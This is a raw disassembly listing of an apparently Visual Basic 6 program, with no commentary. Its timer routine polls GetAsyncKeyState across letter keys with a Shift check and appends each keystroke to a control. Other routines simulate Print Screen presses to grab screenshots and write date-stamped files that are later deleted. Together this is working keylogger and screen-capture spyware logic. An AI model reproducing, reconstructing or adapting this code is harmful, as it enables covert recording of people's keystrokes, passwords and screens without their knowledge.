    004054b5mov [ebp-4], 1
    004054bcmov [ebp-4], 2
    004054c3push -1
    004054c5call imp:msvbvm60!__vbaOnError
    004054cbmov [ebp-4], 3
    004054d2lea edx, [ebp-96]
    004054d5push edx
    004054d6call imp:msvbvm60!rtcGetDateVar
    004054dclea eax, [ebp-96]
    004054dfpush eax
    004054e0lea ecx, [ebp-112]
    004054e3push ecx
    004054e4call imp:msvbvm60!rtcGetDayOfMonth
    004054ealea edx, [ebp-128]
    004054edpush edx
    004054eecall imp:msvbvm60!rtcGetDateVar
    004054f4lea eax, [ebp-128]
    004054f7push eax
    004054f8lea ecx, [ebp-144]
    004054fepush ecx
    004054ffcall imp:msvbvm60!rtcGetMonthOfYear
    00405505lea edx, [ebp-176]
    0040550bpush edx
    0040550ccall imp:msvbvm60!rtcGetDateVar
    00405512lea eax, [ebp-176]
    00405518push eax
    00405519lea ecx, [ebp-192]
    0040551fpush ecx
    00405520call imp:msvbvm60!rtcGetYear
    00405526mov [ebp-376], 0x4031f0
    00405530mov [ebp-384], 8
    0040553alea edx, [ebp-240]
    00405540push edx
    00405541call imp:msvbvm60!rtcGetTimeVar
    00405547lea eax, [ebp-240]
    0040554dpush eax
    0040554elea ecx, [ebp-256]
    00405554push ecx
    00405555call imp:msvbvm60!rtcGetHourOfDay
    0040555blea edx, [ebp-288]
    00405561push edx
    00405562call imp:msvbvm60!rtcGetTimeVar
    00405568lea eax, [ebp-288]
    0040556epush eax
    0040556flea ecx, [ebp-304]
    00405575push ecx
    00405576call imp:msvbvm60!rtcGetMinuteOfHour
    0040557clea edx, [ebp-336]
    00405582push edx
    00405583call imp:msvbvm60!rtcGetTimeVar
    00405589lea eax, [ebp-336]
    0040558fpush eax
    00405590lea ecx, [ebp-352]
    00405596push ecx
    00405597call imp:msvbvm60!rtcGetSecondOfMinute
    0040559dlea edx, [ebp-112]
    004055a0push edx
    004055a1lea eax, [ebp-144]
    004055a7push eax
    004055a8lea ecx, [ebp-160]
    004055aepush ecx
    004055afcall imp:msvbvm60!__vbaVarCat
    004055b5push eax
    004055b6lea edx, [ebp-192]
    004055bcpush edx
    004055bdlea eax, [ebp-208]
    004055c3push eax
    004055c4call imp:msvbvm60!__vbaVarCat
    004055capush eax
    004055cblea ecx, [ebp-384]
    004055d1push ecx
    004055d2lea edx, [ebp-224]
    004055d8push edx
    004055d9call imp:msvbvm60!__vbaVarCat
    004055dfpush eax
    004055e0lea eax, [ebp-256]
    004055e6push eax
    004055e7lea ecx, [ebp-272]
    004055edpush ecx
    004055eecall imp:msvbvm60!__vbaVarCat
    004055f4push eax
    004055f5lea edx, [ebp-304]
    004055fbpush edx
    004055fclea eax, [ebp-320]
    00405602push eax
    00405603call imp:msvbvm60!__vbaVarCat
    00405609push eax
    0040560alea ecx, [ebp-352]
    00405610push ecx
    00405611lea edx, [ebp-368]
    00405617push edx
    00405618call imp:msvbvm60!__vbaVarCat
    0040561epush eax
    0040561fcall imp:msvbvm60!__vbaStrVarMove
    00405625mov edx, eax
    00405627lea ecx, [ebp-36]
    0040562acall imp:msvbvm60!__vbaStrMove
    00405630lea eax, [ebp-368]
    00405636push eax
    00405637lea ecx, [ebp-352]
    0040563dpush ecx
    0040563elea edx, [ebp-320]
    00405644push edx
    00405645lea eax, [ebp-336]
    0040564bpush eax
    0040564clea ecx, [ebp-304]
    00405652push ecx
    00405653lea edx, [ebp-272]
    00405659push edx
    0040565alea eax, [ebp-288]
    00405660push eax
    00405661lea ecx, [ebp-256]
    00405667push ecx
    00405668lea edx, [ebp-224]
    0040566epush edx
    0040566flea eax, [ebp-240]
    00405675push eax
    00405676lea ecx, [ebp-208]
    0040567cpush ecx
    0040567dlea edx, [ebp-192]
    00405683push edx
    00405684lea eax, [ebp-160]
    0040568apush eax
    0040568blea ecx, [ebp-176]
    00405691push ecx
    00405692lea edx, [ebp-144]
    00405698push edx
    00405699lea eax, [ebp-112]
    0040569cpush eax
    0040569dlea ecx, [ebp-128]
    004056a0push ecx
    004056a1lea edx, [ebp-96]
    004056a4push edx
    004056a5push 18
    004056a7call imp:msvbvm60!__vbaFreeVarList
    004056adadd esp, 76
    004056b0mov [ebp-4], 4
    004056b7lea eax, [ebp-76]
    004056bapush eax
    004056bbmov ecx, [ebp+8]
    004056bemov edx, [ecx]
    004056c0mov eax, [ebp+8]
    004056c3push eax
    004056c4call [edx+1808]
    004056camov ecx, [ebp-76]
    004056cdmov [ebp-412], ecx
    004056d3mov [ebp-76], 0
    004056dapush 90
    004056dcmov edx, [ebp+8]
    004056dfmov eax, [edx+60]
    004056e2push eax
    004056e3push 0x4031f8
    004056e8call imp:msvbvm60!__vbaStrCat
    004056eemov edx, eax
    004056f0lea ecx, [ebp-44]
    004056f3call imp:msvbvm60!__vbaStrMove
    004056f9push eax
    004056famov ecx, [ebp+8]
    004056fdmov edx, [ecx+56]
    00405700push edx
    00405701call imp:msvbvm60!__vbaStrCat
    00405707mov edx, eax
    00405709lea ecx, [ebp-48]
    0040570ccall imp:msvbvm60!__vbaStrMove
    00405712push eax
    00405713push 0x4031f0
    00405718call imp:msvbvm60!__vbaStrCat
    0040571emov edx, eax
    00405720lea ecx, [ebp-52]
    00405723call imp:msvbvm60!__vbaStrMove
    00405729push eax
    0040572amov eax, [ebp-36]
    0040572dpush eax
    0040572ecall imp:msvbvm60!__vbaStrCat
    00405734mov edx, eax
    00405736lea ecx, [ebp-56]
    00405739call imp:msvbvm60!__vbaStrMove
    0040573fpush eax
    00405740push 0x40300c
    00405745call imp:msvbvm60!__vbaStrCat
    0040574bmov edx, eax
    0040574dlea ecx, [ebp-60]
    00405750call imp:msvbvm60!__vbaStrMove
    00405756push eax
    00405757mov ecx, [ebp-412]
    0040575dpush ecx
    0040575elea edx, [ebp-80]
    00405761push edx
    00405762call imp:msvbvm60!__vbaObjSet
    00405768push eax
    00405769mov eax, [ebp+8]
    0040576cmov ecx, [eax]
    0040576emov edx, [ebp+8]
    00405771push edx
    00405772call [ecx+1824]
    00405778lea eax, [ebp-60]
    0040577bpush eax
    0040577clea ecx, [ebp-56]
    0040577fpush ecx
    00405780lea edx, [ebp-52]
    00405783push edx
    00405784lea eax, [ebp-48]
    00405787push eax
    00405788lea ecx, [ebp-44]
    0040578bpush ecx
    0040578cpush 5
    0040578ecall imp:msvbvm60!__vbaFreeStrList
    00405794add esp, 24
    00405797lea ecx, [ebp-80]
    0040579acall imp:msvbvm60!__vbaFreeObj
    004057a0mov [ebp-4], 5
    004057a7push 1000
    004057accall Sleep
    004057b1call imp:msvbvm60!__vbaSetSystemError
    004057b7mov [ebp-4], 6
    004057bemov edx, [ebp+8]
    004057c1mov eax, [edx+60]
    004057c4push eax
    004057c5push 0x4031f8
    004057cacall imp:msvbvm60!__vbaStrCat
    004057d0mov edx, eax
    004057d2lea ecx, [ebp-44]
    004057d5call imp:msvbvm60!__vbaStrMove
    004057dbpush eax
    004057dcmov ecx, [ebp+8]
    004057dfmov edx, [ecx+56]
    004057e2push edx
    004057e3call imp:msvbvm60!__vbaStrCat
    004057e9mov edx, eax
    004057eblea ecx, [ebp-48]
    004057eecall imp:msvbvm60!__vbaStrMove
    004057f4push eax
    004057f5push 0x4031f0
    004057facall imp:msvbvm60!__vbaStrCat
    00405800mov edx, eax
    00405802lea ecx, [ebp-52]
    00405805call imp:msvbvm60!__vbaStrMove
    0040580bpush eax
    0040580cmov eax, [ebp-36]
    0040580fpush eax
    00405810call imp:msvbvm60!__vbaStrCat
    00405816mov edx, eax
    00405818lea ecx, [ebp-56]
    0040581bcall imp:msvbvm60!__vbaStrMove
    00405821push eax
    00405822push 0x40300c
    00405827call imp:msvbvm60!__vbaStrCat
    0040582dmov edx, eax
    0040582flea ecx, [ebp-68]
    00405832call imp:msvbvm60!__vbaStrMove
    00405838mov edx, 0x4031d4
    0040583dlea ecx, [ebp-64]
    00405840call imp:msvbvm60!__vbaStrCopy
    00405846mov edx, 0x402658
    0040584blea ecx, [ebp-60]
    0040584ecall imp:msvbvm60!__vbaStrCopy
    00405854lea ecx, [ebp-72]
    00405857push ecx
    00405858lea edx, [ebp-68]
    0040585bpush edx
    0040585clea eax, [ebp-64]
    0040585fpush eax
    00405860lea ecx, [ebp-60]
    00405863push ecx
    00405864mov edx, [ebp+8]
    00405867mov eax, [edx]
    00405869mov ecx, [ebp+8]
    0040586cpush ecx
    0040586dcall [eax+1784]
    00405873mov [ebp-388], eax
    00405879cmp [ebp-388], 0
    00405880jge 0x4058a5
    00405882push 1784
    00405887push 0x402754
    0040588cmov edx, [ebp+8]
    0040588fpush edx
    00405890mov eax, [ebp-388]
    00405896push eax
    00405897call imp:msvbvm60!__vbaHresultCheckObj
    0040589dmov [ebp-420], eax
    004058a3jmp 0x4058af
    004058a5
    004058a5loc_4058a5:
    004058a5mov [ebp-420], 0
    004058af
    004058afloc_4058af:
    004058afmov ecx, [ebp-72]
    004058b2mov [ebp-416], ecx
    004058b8mov [ebp-72], 0
    004058bfmov edx, [ebp-416]
    004058c5lea ecx, [ebp-40]
    004058c8call imp:msvbvm60!__vbaStrMove
    004058celea edx, [ebp-68]
    004058d1push edx
    004058d2lea eax, [ebp-64]
    004058d5push eax
    004058d6lea ecx, [ebp-60]
    004058d9push ecx
    004058dalea edx, [ebp-56]
    004058ddpush edx
    004058delea eax, [ebp-52]
    004058e1push eax
    004058e2lea ecx, [ebp-48]
    004058e5push ecx
    004058e6lea edx, [ebp-44]
    004058e9push edx
    004058eapush 7
    004058eccall imp:msvbvm60!__vbaFreeStrList
    004058f2add esp, 32
    004058f5mov [ebp-4], 7
    004058fcmov eax, [ebp+8]
    004058ffmov ecx, [eax+60]
    00405902push ecx
    00405903push 0x4031f8
    00405908call imp:msvbvm60!__vbaStrCat
    0040590emov edx, eax
    00405910lea ecx, [ebp-44]
    00405913call imp:msvbvm60!__vbaStrMove
    00405919push eax
    0040591amov edx, [ebp+8]
    0040591dmov eax, [edx+56]
    00405920push eax
    00405921call imp:msvbvm60!__vbaStrCat
    00405927mov edx, eax
    00405929lea ecx, [ebp-48]
    0040592ccall imp:msvbvm60!__vbaStrMove
    00405932push eax
    00405933push 0x4031f0
    00405938call imp:msvbvm60!__vbaStrCat
    0040593emov edx, eax
    00405940lea ecx, [ebp-52]
    00405943call imp:msvbvm60!__vbaStrMove
    00405949push eax
    0040594amov ecx, [ebp-36]
    0040594dpush ecx
    0040594ecall imp:msvbvm60!__vbaStrCat
    00405954mov edx, eax
    00405956lea ecx, [ebp-56]
    00405959call imp:msvbvm60!__vbaStrMove
    0040595fpush eax
    00405960push 0x40300c
    00405965call imp:msvbvm60!__vbaStrCat
    0040596bmov [ebp-88], eax
    0040596emov [ebp-96], 8
    00405975lea edx, [ebp-96]
    00405978push edx
    00405979call imp:msvbvm60!rtcKillFiles
    0040597flea eax, [ebp-56]
    00405982push eax
    00405983lea ecx, [ebp-52]
    00405986push ecx
    00405987lea edx, [ebp-48]
    0040598apush edx
    0040598blea eax, [ebp-44]
    0040598epush eax
    0040598fpush 4
    00405991call imp:msvbvm60!__vbaFreeStrList
    00405997add esp, 20
    0040599alea ecx, [ebp-96]
    0040599dcall imp:msvbvm60!__vbaFreeVar
    004059a3mov [ebp-16], 0
    004059aapush 0x405a86
    004059afjmp 0x405a73
    004059b4
    004059b4 8d 4d b8 51 8d 55 bc 52 8d 45 c0 50 .M.Q.U.R.E.P
    004059c0 8d 4d c4 51 8d 55 c8 52 8d 45 cc 50 8d 4d d0 51 .M.Q.U.R.E.P.M.Q
    004059d0 8d 55 d4 52 6a 08 ff 15 08 11 40 00 83 c4 24 8d .U.Rj.....@...$.
    004059e0 45 b0 50 8d 4d b4 51 6a 02 ff 15 20 10 40 00 83 E.P.M.Qj... .@..
    004059f0 c4 0c 8d 95 90 fe ff ff 52 8d 85 a0 fe ff ff 50 ........R......P
    00405a00 8d 8d b0 fe ff ff 51 8d 95 c0 fe ff ff 52 8d 85 ......Q......R..
    00405a10 d0 fe ff ff 50 8d 8d e0 fe ff ff 51 8d 95 f0 fe ....P......Q....
    00405a20 ff ff 52 8d 85 00 ff ff ff 50 8d 8d 10 ff ff ff ..R......P......
    00405a30 51 8d 95 20 ff ff ff 52 8d 85 30 ff ff ff 50 8d Q.. ...R..0...P.
    00405a40 8d 40 ff ff ff 51 8d 95 50 ff ff ff 52 8d 85 60 .@...Q..P...R..`
    00405a50 ff ff ff 50 8d 8d 70 ff ff ff 51 8d 55 80 52 8d ...P..p...Q.U.R.
    00405a60 45 90 50 8d 4d a0 51 6a 12 ff 15 18 10 40 00 83 E.P.M.Qj.....@..
    00405a70 c4 4c c3 .L.
    00405a73
    00405a73loc_405a73:
    00405a73lea ecx, [ebp-36]
    00405a76call imp:msvbvm60!__vbaFreeStr
    00405a7clea ecx, [ebp-40]
    00405a7fcall imp:msvbvm60!__vbaFreeStr
    00405a85ret
    00405a86mov edx, [ebp+8]
    00405a89mov eax, [edx]
    00405a8bmov ecx, [ebp+8]
    00405a8epush ecx
    00405a8fcall [eax+8]
    00405a92mov eax, [ebp-16]
    00405a95mov ecx, [ebp-32]
    00405a98mov [0x0], ecx
    00405a9fpop edi
    00405aa0pop esi
    00405aa1pop ebx
    00405aa2mov esp, ebp
    00405aa4pop ebp
    00405aa5ret 4
    00405460
    00405aa8
    00405aa8 // align 0x10
    00405ab0
    00405ab0frmMain.proc_452:
    00405ab0push ebp
    00405ab1mov ebp, esp
    00405ab3sub esp, 24
    00405ab6push 0x4014a6
    00405abbmov eax, [0x0]
    00405ac1push eax
    00405ac2mov [0x0], esp
    00405ac9mov eax, 104
    00405acecall __vbaChkstk
    00405ad3push ebx
    00405ad4push esi
    00405ad5push edi
    00405ad6mov [ebp-24], esp
    00405ad9mov [ebp-20], 0x401358
    00405ae0mov [ebp-16], 0
    00405ae7mov [ebp-12], 0
    00405aeemov [ebp-4], 1
    00405af5mov eax, [ebp+12]
    00405af8mov [eax], 0
    00405afemov [ebp-4], 2
    00405b05push -1
    00405b07call imp:msvbvm60!__vbaOnError
    00405b0dmov [ebp-4], 3
    00405b14cmp [0x40a3b8], 0
    00405b1bjne 0x405b36
    00405b1dpush 0x40a3b8
    00405b22push 0x402eac
    00405b27call imp:msvbvm60!__vbaNew2
    00405b2dmov [ebp-104], 0x40a3b8
    00405b34jmp 0x405b3d
    00405b36
    00405b36loc_405b36:
    00405b36mov [ebp-104], 0x40a3b8
    00405b3d
    00405b3dloc_405b3d:
    00405b3dmov ecx, [ebp-104]
    00405b40mov edx, [ecx]
    00405b42mov [ebp-68], edx
    00405b45lea eax, [ebp-44]
    00405b48push eax
    00405b49mov ecx, [ebp-68]
    00405b4cmov edx, [ecx]
    00405b4emov eax, [ebp-68]
    00405b51push eax
    00405b52call [edx+28]
    00405b55fnclex
    00405b57mov [ebp-72], eax
    00405b5acmp [ebp-72], 0
    00405b5ejge 0x405b7a
    00405b60push 28
    00405b62push 0x402e9c
    00405b67mov ecx, [ebp-68]
    00405b6apush ecx
    00405b6bmov edx, [ebp-72]
    00405b6epush edx
    00405b6fcall imp:msvbvm60!__vbaHresultCheckObj
    00405b75mov [ebp-108], eax
    00405b78jmp 0x405b81
    00405b7a
    00405b7aloc_405b7a:
    00405b7amov [ebp-108], 0
    00405b81
    00405b81loc_405b81:
    00405b81mov eax, [ebp-44]
    00405b84mov [ebp-76], eax
    00405b87mov [ebp-56], 2
    00405b8emov [ebp-64], 3
    00405b95lea ecx, [ebp-48]
    00405b98push ecx
    00405b99mov eax, 16
    00405b9ecall __vbaChkstk
    00405ba3mov edx, esp
    00405ba5mov eax, [ebp-64]
    00405ba8mov [edx], eax
    00405baamov ecx, [ebp-60]
    00405badmov [edx+4], ecx
    00405bb0mov eax, [ebp-56]
    00405bb3mov [edx+8], eax
    00405bb6mov ecx, [ebp-52]
    00405bb9mov [edx+12], ecx
    00405bbcmov edx, [ebp-76]
    00405bbfmov eax, [edx]
    00405bc1mov ecx, [ebp-76]
    00405bc4push ecx
    00405bc5call [eax+84]
    00405bc8fnclex
    00405bcamov [ebp-80], eax
    00405bcdcmp [ebp-80], 0
    00405bd1jge 0x405bed
    00405bd3push 84
    00405bd5push 0x403018
    00405bdamov edx, [ebp-76]
    00405bddpush edx
    00405bdemov eax, [ebp-80]
    00405be1push eax
    00405be2call imp:msvbvm60!__vbaHresultCheckObj
    00405be8mov [ebp-112], eax
    00405bebjmp 0x405bf4
    00405bed
    00405bedloc_405bed:
    00405bedmov [ebp-112], 0
    00405bf4
    00405bf4loc_405bf4:
    00405bf4push 0x403028
    00405bf9mov ecx, [ebp-48]
    00405bfcpush ecx
    00405bfdcall imp:msvbvm60!__vbaCastObj
    00405c03push eax
    00405c04lea edx, [ebp-36]
    00405c07push edx
    00405c08call imp:msvbvm60!__vbaObjSet
    00405c0elea eax, [ebp-48]
    00405c11push eax
    00405c12lea ecx, [ebp-44]
    00405c15push ecx
    00405c16push 2
    00405c18call imp:msvbvm60!__vbaFreeObjList
    00405c1eadd esp, 12
    00405c21mov [ebp-4], 4
    00405c28push 0
    00405c2apush 0
    00405c2cxor ecx, ecx
    00405c2ecall imp:msvbvm60!__vbaUI1I2
    00405c34push eax
    00405c35mov ecx, 44
    00405c3acall imp:msvbvm60!__vbaUI1I2
    00405c40push eax
    00405c41call keybd_event
    00405c46call imp:msvbvm60!__vbaSetSystemError
    00405c4cmov [ebp-4], 5
    00405c53call imp:msvbvm60!rtcDoEvents
    00405c59mov [ebp-4], 6
    00405c60push 0
    00405c62push 0
    00405c64xor ecx, ecx
    00405c66call imp:msvbvm60!__vbaUI1I2
    00405c6cpush eax
    00405c6dmov ecx, 44
    00405c72call imp:msvbvm60!__vbaUI1I2
    00405c78push eax
    00405c79call keybd_event
    00405c7ecall imp:msvbvm60!__vbaSetSystemError
    00405c84mov [ebp-4], 7
    00405c8bcall imp:msvbvm60!rtcDoEvents
    00405c91mov [ebp-4], 8
    00405c98push 0
    00405c9apush 0
    00405c9cxor ecx, ecx
    00405c9ecall imp:msvbvm60!__vbaUI1I2
    00405ca4push eax
    00405ca5mov ecx, 44
    00405caacall imp:msvbvm60!__vbaUI1I2
    00405cb0push eax
    00405cb1call keybd_event
    00405cb6call imp:msvbvm60!__vbaSetSystemError
    00405cbcmov [ebp-4], 9
    00405cc3call imp:msvbvm60!rtcDoEvents
    00405cc9mov [ebp-4], 10
    00405cd0cmp [0x40a3b8], 0
    00405cd7jne 0x405cf2
    00405cd9push 0x40a3b8
    00405cdepush 0x402eac
    00405ce3call imp:msvbvm60!__vbaNew2
    00405ce9mov [ebp-116], 0x40a3b8
    00405cf0jmp 0x405cf9
    00405cf2
    00405cf2loc_405cf2:
    00405cf2mov [ebp-116], 0x40a3b8
    00405cf9
    00405cf9loc_405cf9:
    00405cf9mov edx, [ebp-116]
    00405cfcmov eax, [edx]
    00405cfemov [ebp-68], eax
    00405d01lea ecx, [ebp-44]
    00405d04push ecx
    00405d05mov edx, [ebp-68]
    00405d08mov eax, [edx]
    00405d0amov ecx, [ebp-68]
    00405d0dpush ecx
    00405d0ecall [eax+28]
    00405d11fnclex
    00405d13mov [ebp-72], eax
    00405d16cmp [ebp-72], 0
    00405d1ajge 0x405d36
    00405d1cpush 28
    00405d1epush 0x402e9c
    00405d23mov edx, [ebp-68]
    00405d26push edx
    00405d27mov eax, [ebp-72]
    00405d2apush eax
    00405d2bcall imp:msvbvm60!__vbaHresultCheckObj
    00405d31mov [ebp-120], eax
    00405d34jmp 0x405d3d
    00405d36
    00405d36loc_405d36:
    00405d36mov [ebp-120], 0
    00405d3d
    00405d3dloc_405d3d:
    00405d3dmov ecx, [ebp-44]
    00405d40mov [ebp-76], ecx
    00405d43mov [ebp-56], 2
    00405d4amov [ebp-64], 3
    00405d51lea edx, [ebp-48]
    00405d54push edx
    00405d55mov eax, 16
    00405d5acall __vbaChkstk
    00405d5fmov eax, esp
    00405d61mov ecx, [ebp-64]
    00405d64mov [eax], ecx
    00405d66mov edx, [ebp-60]
    00405d69mov [eax+4], edx
    00405d6cmov ecx, [ebp-56]
    00405d6fmov [eax+8], ecx
    00405d72mov edx, [ebp-52]
    00405d75mov [eax+12], edx
    00405d78mov eax, [ebp-76]
    00405d7bmov ecx, [eax]
    00405d7dmov edx, [ebp-76]
    00405d80push edx
    00405d81call [ecx+84]
    00405d84fnclex
    00405d86mov [ebp-80], eax
    00405d89cmp [ebp-80], 0
    00405d8djge 0x405da9
    00405d8fpush 84
    00405d91push 0x403018
    00405d96mov eax, [ebp-76]
    00405d99push eax
    00405d9amov ecx, [ebp-80]
    00405d9dpush ecx
    00405d9ecall imp:msvbvm60!__vbaHresultCheckObj
    00405da4mov [ebp-124], eax
    00405da7jmp 0x405db0
    00405da9
    00405da9loc_405da9:
    00405da9mov [ebp-124], 0
    00405db0
    00405db0loc_405db0:
    00405db0push 0x403028
    00405db5mov edx, [ebp-48]
    00405db8push edx
    00405db9call imp:msvbvm60!__vbaCastObj
    00405dbfpush eax
    00405dc0lea eax, [ebp-40]
    00405dc3push eax
    00405dc4call imp:msvbvm60!__vbaObjSet
    00405dcalea ecx, [ebp-48]
    00405dcdpush ecx
    00405dcelea edx, [ebp-44]
    00405dd1push edx
    00405dd2push 2
    00405dd4call imp:msvbvm60!__vbaFreeObjList
    00405ddaadd esp, 12
    00405dddmov [ebp-4], 11
    00405de4cmp [0x40a3b8], 0
    00405debjne 0x405e06
    00405dedpush 0x40a3b8
    00405df2push 0x402eac
    00405df7call imp:msvbvm60!__vbaNew2
    00405dfdmov [ebp-128], 0x40a3b8
    00405e04jmp 0x405e0d
    00405e06
    00405e06loc_405e06:
    00405e06mov [ebp-128], 0x40a3b8
    00405e0d
    00405e0dloc_405e0d:
    00405e0dmov eax, [ebp-128]
    00405e10mov ecx, [eax]
    00405e12mov [ebp-68], ecx
    00405e15lea edx, [ebp-44]
    00405e18push edx
    00405e19mov eax, [ebp-68]
    00405e1cmov ecx, [eax]
    00405e1emov edx, [ebp-68]
    00405e21push edx
    00405e22call [ecx+28]
    00405e25fnclex
    00405e27mov [ebp-72], eax
    00405e2acmp [ebp-72], 0
    00405e2ejge 0x405e4d
    00405e30push 28
    00405e32push 0x402e9c
    00405e37mov eax, [ebp-68]
    00405e3apush eax
    00405e3bmov ecx, [ebp-72]
    00405e3epush ecx
    00405e3fcall imp:msvbvm60!__vbaHresultCheckObj
    00405e45mov [ebp-132], eax
    00405e4bjmp 0x405e57
    00405e4d
    00405e4dloc_405e4d:
    00405e4dmov [ebp-132], 0
    00405e57
    00405e57loc_405e57:
    00405e57mov edx, [ebp-44]
    00405e5amov [ebp-76], edx
    00405e5dmov [ebp-56], 2
    00405e64mov [ebp-64], 3
    00405e6bmov eax, 16
    00405e70call __vbaChkstk
    00405e75mov eax, esp
    00405e77mov ecx, [ebp-64]
    00405e7amov [eax], ecx
    00405e7cmov edx, [ebp-60]
    00405e7fmov [eax+4], edx
    00405e82mov ecx, [ebp-56]
    00405e85mov [eax+8], ecx
    00405e88mov edx, [ebp-52]
    00405e8bmov [eax+12], edx
    00405e8epush 0x403028
    00405e93mov eax, [ebp-36]
    00405e96push eax
    00405e97call imp:msvbvm60!__vbaCastObj
    00405e9dpush eax
    00405e9elea ecx, [ebp-48]
    00405ea1push ecx
    00405ea2call imp:msvbvm60!__vbaObjSet
    00405ea8push eax
    00405ea9mov edx, [ebp-76]
    00405eacmov eax, [edx]
    00405eaemov ecx, [ebp-76]
    00405eb1push ecx
    00405eb2call [eax+88]
    00405eb5fnclex
    00405eb7mov [ebp-80], eax
    00405ebacmp [ebp-80], 0
    00405ebejge 0x405edd
    00405ec0push 88
    00405ec2push 0x403018
    00405ec7mov edx, [ebp-76]
    00405ecapush edx
    00405ecbmov eax, [ebp-80]
    00405ecepush eax
    00405ecfcall imp:msvbvm60!__vbaHresultCheckObj
    00405ed5mov [ebp-136], eax
    00405edbjmp 0x405ee7
    00405edd
    00405eddloc_405edd:
    00405eddmov [ebp-136], 0
    00405ee7
    00405ee7loc_405ee7:
    00405ee7lea ecx, [ebp-44]
    00405eeapush ecx
    00405eeblea edx, [ebp-48]
    00405eeepush edx
    00405eefpush 2
    00405ef1call imp:msvbvm60!__vbaFreeObjList
    00405ef7add esp, 12
    00405efapush 0x405f32
    00405effjmp 0x405f28
    00405f01
    00405f01 8b 45 f0 83 e0 04 85 c0 74 09 8d 4d d8 ff 15 .E......t..M...
    00405f10 60 11 40 00 8d 4d d0 51 8d 55 d4 52 6a 02 ff 15 `.@..M.Q.U.Rj...
    00405f20 20 10 40 00 83 c4 0c c3 .@.....
    00405f28
    00405f28loc_405f28:
    00405f28lea ecx, [ebp-36]
    00405f2bcall imp:msvbvm60!__vbaFreeObj
    00405f31ret
    00405f32mov eax, [ebp+12]
    00405f35mov ecx, [ebp-40]
    00405f38mov [eax], ecx
    00405f3axor eax, eax
    00405f3cmov ecx, [ebp-32]
    00405f3fmov [0x0], ecx
    00405f46pop edi
    00405f47pop esi
    00405f48pop ebx
    00405f49mov esp, ebp
    00405f4bpop ebp
    00405f4cret 8
    00405ab0
    00405f4f
    00405f4f // align 0x10
    00405f50
    00405f50frmMain.t_key_Timer:
    00405f50push ebp
    00405f51mov ebp, esp
    00405f53sub esp, 12
    00405f56push 0x4014a6
    00405f5bmov eax, [0x0]
    00405f61push eax
    00405f62mov [0x0], esp
    00405f69sub esp, 508
    00405f6fpush ebx
    00405f70push esi
    00405f71push edi
    00405f72mov [ebp-12], esp
    00405f75mov [ebp-8], 0x4013a8
    00405f7cmov esi, [ebp+8]
    00405f7fmov eax, esi
    00405f81and eax, 1
    00405f84mov [ebp-4], eax
    00405f87and esi, -2
    00405f8apush esi
    00405f8bmov [ebp+8], esi
    00405f8emov ecx, [esi]
    00405f90call [ecx+4]
    00405f93mov ebx, imp:msvbvm60!__vbaObjSet
    00405f99xor eax, eax
    00405f9bmov ecx, 65
    00405fa0mov [ebp-36], eax
    00405fa3mov [ebp-40], eax
    00405fa6mov [ebp-44], eax
    00405fa9mov [ebp-48], eax
    00405facmov [ebp-64], eax
    00405fafmov [ebp-80], eax
    00405fb2mov [ebp-96], eax
    00405fb5mov [ebp-112], eax
    00405fb8mov [ebp-128], eax
    00405fbbmov [ebp-144], eax
    00405fc1mov [ebp-160], eax
    00405fc7mov [ebp-176], eax
    00405fcdmov [ebp-24], ecx
    00405fd0
    00405fd0loc_405fd0:
    00405fd0mov edx, 90
    00405fd5cmp ecx, edx
    00405fd7jg 0x40621d
    00405fddpush ecx
    00405fdecall GetAsyncKeyState
    00405fe3mov edi, eax
    00405fe5call imp:msvbvm60!__vbaSetSystemError
    00405febpush 16
    00405fedmovsx edi, di
    00405ff0call GetAsyncKeyState
    00405ff5mov [ebp-180], eax
    00405ffbcall imp:msvbvm60!__vbaSetSystemError
    00406001cmp edi, -32767
    00406007jne 0x406201
    0040600dcmp [ebp-180], -32768
    00406016jne 0x40610c
    0040601cmov edx, [esi]
    0040601epush esi
    0040601fcall [edx+780]
    00406025push eax
    00406026lea eax, [ebp-48]
    00406029push eax
    0040602acall ebx
    0040602cmov ecx, [esi]
    0040602epush esi
    0040602fmov [ebp-192], eax
    00406035call [ecx+780]
    0040603blea edx, [ebp-44]
    0040603epush eax
    0040603fpush edx
    00406040call ebx
    00406042mov edi, eax
    00406044lea ecx, [ebp-36]
    00406047push ecx
    00406048push edi
    00406049mov eax, [edi]
    0040604bcall [eax+160]
    00406051test eax, eax
    00406053fnclex
    00406055jge 0x406069
    00406057push 160
    0040605cpush 0x403038
    00406061push edi
    00406062push eax
    00406063call imp:msvbvm60!__vbaHresultCheckObj
    00406069
    00406069loc_406069:
    00406069mov eax, [ebp-36]
    0040606cmov edx, [ebp-24]
    0040606fmov [ebp-72], eax
    00406072lea eax, [ebp-64]
    00406075push edx
    00406076push eax
    00406077mov [ebp-36], 0
    0040607emov [ebp-80], 8
    00406085call imp:msvbvm60!rtcVarBstrFromAnsi
    0040608bmov ecx, [ebp-192]
    00406091lea edx, [ebp-80]
    00406094lea eax, [ebp-64]
    00406097push edx
    00406098mov edi, [ecx]
    0040609alea ecx, [ebp-96]
    0040609dpush eax
    0040609epush ecx
    0040609fcall imp:msvbvm60!__vbaVarCat
    004060a5lea edx, [ebp-40]
    004060a8push eax
    004060a9push edx
    004060aacall imp:msvbvm60!__vbaStrVarVal
    004060b0mov [ebp-320], edi
    004060b6mov edi, [ebp-192]
    004060bcpush eax
    004060bdmov eax, [ebp-320]
    004060c3push edi
    004060c4call [eax+164]
    004060catest eax, eax
    004060ccfnclex
    004060cejge 0x4060e2
    004060d0push 164
    004060d5push 0x403038
    004060dapush edi
    004060dbpush eax
    004060dccall imp:msvbvm60!__vbaHresultCheckObj
    004060e2
    004060e2loc_4060e2:
    004060e2lea ecx, [ebp-40]
    004060e5call imp:msvbvm60!__vbaFreeStr
    004060eblea ecx, [ebp-48]
    004060eelea edx, [ebp-44]
    004060f1push ecx
    004060f2push edx
    004060f3push 2
    004060f5call imp:msvbvm60!__vbaFreeObjList
    004060fblea eax, [ebp-96]
    004060felea ecx, [ebp-64]
    00406101push eax
    00406102lea edx, [ebp-80]
    00406105push ecx
    00406106push edx
    00406107jmp 0x4061f6
    0040610c
    0040610cloc_40610c:
    0040610cmov eax, [esi]
    0040610epush esi
    0040610fcall [eax+780]
    00406115lea ecx, [ebp-48]
    00406118push eax
    00406119push ecx
    0040611acall ebx
    0040611cmov edx, [esi]
    0040611epush esi
    0040611fmov [ebp-192], eax
    00406125call [edx+780]
    0040612bpush eax
    0040612clea eax, [ebp-44]
    0040612fpush eax
    00406130call ebx
    00406132mov edi, eax
    00406134lea edx, [ebp-36]
    00406137push edx
    00406138push edi
    00406139mov ecx, [edi]
    0040613bcall [ecx+160]
    00406141test eax, eax
